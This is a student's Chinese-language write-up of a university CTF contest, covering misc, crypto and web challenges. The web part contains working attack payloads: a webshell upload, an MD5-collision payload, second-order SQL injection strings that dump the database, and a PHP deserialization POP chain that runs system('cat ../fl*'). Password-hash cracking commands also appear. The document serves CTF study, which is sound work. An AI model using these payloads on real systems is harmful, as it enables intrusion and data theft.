技术内容 / 本科的一些学习笔记和wp / 2022.4.24线下赛
2022.4.24线下赛
0×01
这部分是比赛时做出来那部分题的wp
misc
不会有人没看过猫和老鼠吧
繁体汉字与中文叹号,我不过是交错了5次罢了
海伦凯勒
两张图片拖进010,文件后缀没问题,文件尾后面没东西
foremost也没分离出什么东西
看一下文件属性,发现blind比Helen的大小多几十KB
两张一样的图片,加上题目名字提示,想到星爷之前给我提过的python盲水印
github里找到blind把项目down下来,下载依赖
matplotlib没什么问题,opencv-python比较难搞,需要下载python版本的对应版本
否则import cv2会报错找不到模块
(本来我物理机上有这个问题,但是复现的时候莫名其妙成功了,就不放报错截图了)
我虚拟机里python版本是3.9.9,对应opencv的版本是4.4.0
虚拟机直接 pip3 install opencv-python
下载下来的是4.5.0版本,但也能用
这里用pip3的原因是因为python2版本水印跑不出来
python bwmforpy3.py decode Helen.png blind.png flag.png
flag.png里就是flag
为了防止图片又加载失败,下面加个画板放原图
QLNU{j43kn8ty6ad3u0ecv}
问卷
痛失100分,没交flag
Crypto
路易十三
就是rot—13(回转13位,rotate by 13 places)
是一种凯撒密码的变体,rot13即凯撒密码偏移量13
web
upload
出于一种前有陈星后有徐西宏(各种意义上,包括座位)的忧虑
我开局就直奔这个题开始输出
传了几个文件上去,都是一样的回显
(啥文件都不加,点一下上传也是这个回显)
签到题哪能有这么密不透风的过滤,于是我直接抓包,找到real_upload.php访问进去
(其实源码里就有,只不过因为它是文件上传,就下意识地忽略页面源码了)
这个页面没有过滤,直接上传小马,然后连蚁剑即可
0×02
这部分是比赛时没有做出来的那部分题目的复现
misc
李华的作品
从hint里能得到以下信息:
密码为9位,后五位是lihua,并且不是暴力破解
于是可以使用archpr里面带的的掩码攻击得到密码
得到一个加密的压缩包flag.zip和一个illusion.docx
这里也可以用john+hashcat来破解
hashcat 用于撞哈希,john 中提供的一个小工具 rar2john可以将 RAR 中的密码哈希提取出来
john的下载地址放在这里https://www.openwall.com/john/
要32位还是64位我觉得应该没人不知道吧
.\rar2john.exe "D:\luhua.zip" >>a.txt
在down下来的文件夹路径下打开cmd(zip压缩包就把rar2john.exe换成zip2john.exe)
a.txt的名字可以换成别的,名字随便起,将输出内容导入txt方便查看和复制
选中的内容都是它的hash值
然后就可以用hashcat进行爆破
hashcat的官网地址我也放这了https://hashcat.net/hashcat/,找个最新版的下载就行
几个常用参数
● -a选择攻击方式,一般使用参数 -a 3 即掩码攻击(有规则约束的暴力穷举)
● -m选择攻击模式,针对不同的 hash 算法选择规定的值,
参见 https://hashcat.net/wiki/doku.php?id=example_hashes
● 字符集除此之外,还可以自定义字符集,参见 Mask Attack例:?a?l?l?l?d?d?d?d 代表第一位为任意字符,第二到第四位为小写字母,后四位为数字
○ ?l: abcdefghijklmnopqrstuvwxyz
○ ?u: ABCDEFGHIJKLMNOPQRSTUVWXYZ
○ ?d: 0123456789
○ ?h: 0123456789abcdef
○ ?H: 0123456789ABCDEF
○ ?s: «space»!"#$%&'()*+,-./:;<=>?@[\]^_{|}~
○ ?a: ?l?u?d?s
○ ?b: 0x00 - 0xff
● --increment自增遍历模式(不确定密码长度的情况)
● --increment-min规定自增模式密码最短的长度
● --increment-max规定自增模式密码最长的长度
https://hashcat.net/wiki/doku.php?id=example_hashes
这里要使用到的命令如下
.\hashcat.exe -m [1] -a 3 '[2]' ?a?a?a?alihua
[1]处填写算法规定的类型值,[2]处填写哈希值
但是遇到一个问题,就是在example_hashes表里没找到提取出的hash值对应的格式类型
这个类型参数是不具有兼容性的,所以只好作罢
illusion里没找到任何东西,结合文件名猜测压缩包为未加密
将压缩包拖进010检查,改一下deflag的数值,保存一下
发现加密确实没有了。不用解压,直接查看文件内容
QLNU{Congratulations_to_y0u}
不知道是彩蛋还是非预期
illusion这个docx文件后缀改成zip之后居然能正常解压
所以我猜出这题的是王昱静学姐
flag在哪呢
hint提示用hashcat
前文已经介绍过john和hashcat的用法
先拿到hash值
(不想跑命令行的也可以去在线网站,免费的,网址贴在这里
http://www.wendanghuifu.com/freetools/office2john.html)
$office$*2010*100000*128*16*5647223634c295c8560247f1dc776047*6d21a23f875d645167cf7e49f9d746ab*09bce98b57312eee2ce56e744b6c42490b1d1c3e2abc3174e16d968090b39ab2
然后
.\hashcat.exe -m 9500 -a 3 '$office$*2010*100000*128*16*5647223634c295c8560247f1dc776047*6d21a23f875d645167cf7e49f9d746ab*09bce98b57312eee2ce56e744b6c42490b1d1c3e2abc3174e16d968090b39ab2' ?d?d?d?d?d?d?d?d
官方wp里是这么写的
hashcat.exe -m 9500 hash.txt -a 3 ?d?d?d?d?d?d?d?d -w 3 -O
其中hash.txt是自己创建的文件,把得到的hash值放进去跑这条命令也可
得到秘钥04131006,打开是一个巨巨巨巨巨巨大的二维码
这里直接官方wp操作复制粘贴,不明觉厉,膜拜了
照着wp里的操作,我也缩到15✖15
扫码得到
http://42.192.84.8/flag在哪呢.docx
下下来之后docx后缀还得改成zip,解压一下,里面找到flag在这儿.jpg
文件属性备注里就有flag
QLNU{FlogisHerehahaha}
隐藏后门
这个题看见压缩包是phpstudy,还以为是提供给那些非web手的辅助工具,就直接没看
但其实这个压缩包才是重点
看一眼注释,提示密码是windows里执行的8长度的命令
(其实8长度的命令一共就那么几个,cmd里输入help然后一个一个试就出来了)
既然说是windows命令,那肯定是利用了webshell来执行命令,去流量包里找webshell的地方
这一步的理解确实是个知识盲点
常见的webshell有phpinfo(),eval()等,就按着这个思路去找
我为了省事,先来了这么一步
tcp contains "php"
webshell在很靠后的位置,78流
压缩包解压出来是一个2016版本的古老phpstudy
把文件夹放进ntfs里看一下
里面是一个小马
下面是第二个知识盲点
根据提示,要找利用后门的地方,首先想到看流量包,可是用流量包全局搜索发现没有,还有一个地方可以看流量也就是web日志
有两个日志文件acces.log和error.log,肯定找请求通过的那个了(即access)
前面运行phpstudy得知使用的是apache,所以去apache文件夹里去找
直接搜6ack,找到了
可以看到这个shell执行的是phpinfo()命令,
根据前面6ack.php里的注释,phpinfo()也就是aes的密钥
这里有个无语的地方就是;也属于传入参数的内容,密钥 phpinfo();
去解密即可拿到flag(用的是这个解密网站http://tool.chacuo.net/cryptaes,挺好用)
web
嘉心糖的试炼
气急败坏.jpg
以后我再也不信平台不能扫目录这种鬼话了
因为看到index.html而拿着login123.php找备份文件的我真的很狼狈
备份文件在index.php.bak
看到账号密码账号jiaran密码wuhuwuhu
登陆后看源码,有一个MD5强碰撞,撞出来就能拿到flag
MD5碰撞可以用数组绕过,但是这里要求传参string类型
于是考虑提交两个内容不同但是md5值相同的参数
(发现maxhackbar的一个bug,此题为GET传参,但经过测试在maxhackbar里需要勾选POST才能回显flag)
payload如下
?
qlnu=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%9
5%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&
xino=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%
95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
这里提交url编码后的参数是为了避免一些不可见的字符
QLNU{e6dba628126941ca90c7d9da9278feaa}
twice sqli
不会做,于是从网上现搜现学,然后就陷入了一个必须要注册一个admin'#来改掉admin密码的奇怪认知
毕竟网上抄来抄去,到头来都只教了怎么改数据库里user的密码。。 是真的屑,博客不会可以不写,玩不明白的写了自己看看就行了,怎么好意思发出来
登陆后的info页面过滤很严,显而易见的是单引号的转义
去burp抓包能发现空格也被过滤掉了,但是导字典fuzz的时候惊奇地发现union select及其大小写绕过都没被过滤,比如下面这样
长度跟360不一样的都是没被ban掉的
整理一下前面获得的信息
1.空格的过滤可以用多行注释/**/绕过
2.没有过滤union select,也就可以使用最熟悉的联合查询(就是不知道修改过滤条件之前能不能行)
3.单引号转义,正好可以体现二次注入题型的特点,也就是
在注册用户名时若没有严格的过滤,用户就可以在用户名中提前构造注入语句,而藏在用户名当中的“脏数据”会被默认为安全的数据写入数据,这样只要再次将写入数据库中的内容调用即可触发注入语句
在注册页面,用户名一栏并没有过滤单引号,于是思路明确了
每一条注入语句都要创建一个新的用户,登录新注册的用户,即完成了“二次调用”
查库oasis'/**/Union/**/Select/**/database()#
查表oasis'/**/Union/**/Select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
查列oasis'/**/Union/**/Select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
爆flag oasis'/**/Union/**/Select/**/flag/**/from/**/`flag`#
这里表名不加`(反引号)也可以,只有数字表才必须加
原因是sql中有一些保留字,当你的column是它的保留字时,sql语句不加 `` 就会报错。
intruder
a!是我心心念念的反序列化了
wtm比赛的时候缓存没刷新,打开几次都是那个嘉心糖登陆页面,还以为这题就是嘉心糖进阶
一整个蚌埠住了
好了下面进入正题
接收value的方式是GET,那直接忽略就可以了
先审一下张三李四王五赵六
张三有三个成员变量和一个invoke()方法
__invoke() 当尝试以调用函数的方式调用一个对象时触发
李四有一个destruct()方法,一个shell()方法和一个call方法,其中
__destruct() 当删除一个对象或对象操作终止的时候(对象被销毁前,即从内存中清除前)触发 __call() _call( $method, $arg_array ) 当调用一个未定义的方法时调用此方法;如果方法不存在就去父类中找这个方法;如果父类中也不存在就去调用本类的__call()方法
而_call()被调用时调用的方法显然就是那个shell()了
王五手里是一个$a变量和一个重写过的tostring()方法(重写可以理解为重新定义该方法)
__toString() 当一个类被当成字符串使用(当打印一个对象时)时触发
而赵六手里是一个变量$chk和前面提到的两个方法shell()和get_flag(),
两个方法均指向了$chk变量
接下来开始构造pop链
首先注意到lisi类里的_destruct(),那肯定就是从这里入手了
lisi还会(以字符串的形式)输出$temp,所以下一步可以考虑利用Tostring()
于是把目光给到wangwu,只需将$temp赋值为wangwu类的对象,也就是$a,即可触发tostring()
$a这边则给到了下一步的提示,即$a会执行一次shell(),于是我们可以把$a赋值成zhaoliu里的对象
那么zhaoliu里的$chk就自然而然了,shell()的意思是将$this->chk作为一个函数名执行,玩的挺花
明白($this->chk)()的意思,就很容易联想到)_invoke()方法,所以$chk的赋值给到zhangsan
里面通过test1执行一个world()方法,现在想想还有_call()没用,用法也合适
所以最后一步就是把test1赋值为lisi类,即可完成pop链构造
pop链构造完成后,注意到eval()函数,所以最终要去到zhaoliu类
利用chk调用函数来完成cat ../flag的操作
(这里选择cat ../fl*提高容错率,其实也可以不用)
说实话,自己独立构造是有点迷糊的,写出下面的payload也很有难度
<?php
class zhangsan{
public $test1;
}
class lisi{
public $temp;
}
class wangwu{
public $a;
}
class zhaoliu{
public $chk;
}
$oasis = new lisi();
$oasis->temp=new wangwu();
$oasis->temp->a= new zhaoliu();
$oasis->temp->a->chk=new zhangsan();
$oasis->temp->a->chk->test1=new lisi();
$oasis->temp->a->chk->test1->temp=new zhaoliu();
$oasis->temp->a->chk->test1->temp->chk="system('cat ../fl*');";
echo serialize($oasis);
执行后即可拿到我们最终的payload
O:4:"lisi":1:{s:4:"temp";O:6:"wangwu":1:{s:1:"a";O:7:"zhaoliu":1:{s:3:"chk";O:8:"zhangsan":1:{s:5:"test1";O:4:"lisi":1:{s:4:"temp";O:7:"zhaoliu":1:{s:3:"chk";s:21:"system('cat ../fl*');";}}}}}}
于是最终传的参数
?value=O:4:"lisi":1:{s:4:"temp";O:6:"wangwu":1:{s:1:"a";O:7:"zhaoliu":1:{s:3:"chk";O:8:"zhangsan":1:{s:5:"test1";O:4:"lisi":1:{s:4:"temp";O:7:"zhaoliu":1:{s:3:"chk";s:21:"system('cat ../fl*');";}}}}}}
最后还报了个小错,问题不大,flag到手
QLNU{7bdf8e889a7341cdb49a268458350b2e}
Crypto
r5c5
曲路密码
加密对象: 所有字符
原理
- 该密码和栅栏密码类似,是一种移位密码
- 秘钥就是行列数,但我感觉只需要列数就好了(可能是我理解有问题),使用行列数构成一个表格,将明文依次填入,例如:行列为6列3行, 明文为: “flag{y0u_are_p1g@}”
| f | l | a | g | { | y |
|---|---|---|---|---|---|
| 0 | u | _ | a | r | e |
| _ | p | 1 | g | @ | } |
然后从最后一个字符像如下方式串起来即构成了密文:}ey{r@gaga_1pulf0_
(图片上传限流了只能用一种抽象的方式来表达它的原理)
网上很容易搜到脚本
import re
def encrypt_bend(string, col, row=10):
ciphertext = ""
temp = []
for i in range(col):
temp.append([])
for index, i in enumerate(string):
temp[index % col].append(i)
re_temp = list(reversed(temp))
for index, i in enumerate(re_temp):
if index % 2 == 0:
i = list(reversed(i))
ciphertext += "".join(i)
return ciphertext
def decrypt_bend(string, col, row=10):
plaintext = ""
length = len(string)
min_row = length // col # 最小的行数
min_num = col - length % col # 最小行数的列数
# 分组
temp = []
index = 0
for i in range(col):
if i < min_num:
temp.append(string[index:index+min_row])
index += min_row
else:
temp.append(string[index:index+min_row+1])
index += min_row + 1
print(temp)
# 改回列顺序
for index, i in enumerate(temp):
if index % 2 == 0:
# print(re.findall(".{1}", temp[index]))
temp[index] = "".join(list(reversed(re.findall(".{1}", temp[index]))))
temp.reverse()
for i in range(length):
plaintext += temp[i % col][i // col]
return plaintext
if __name__ == '__main__':
col_ = 7
row_ = 5
ciphertext_ = encrypt_bend("}_2s{cihpUemljNfs3_Lhs43Q", col_, row_)
plaintext_ = decrypt_bend(ciphertext_, col_, row_)
print(f"{plaintext_} : {ciphertext_}")
天线宝宝
好习惯之先看图片属性
下载下来发现文件格式打不开 放到010中查看发现文件头多了10,删除10
(此处的10会在后面用到)
这一步是我没想到的
图片有点鬼畜我不想放了,红红绿绿的
大胆猜测红色的是0绿色的是1,然后把01值手抄下来
10101001
11000011
00110101
10001011
01100101
10001111
00110110
00100101
11100100
01110001
01000001
10011010
00101111
发现八个一组,那么数电人一眼就看出来是16进制
不会写脚本,在线工具来一手
拿到十六进制去空格a9c3358b658f3625e471419a2f
这时候前面的备注提示就派上用场了
知不知道10这个提示其实影响不大,一位一位试就行了
拿到flag套上QLNU
QLNU{q9s3358r658v3625u471419q2v}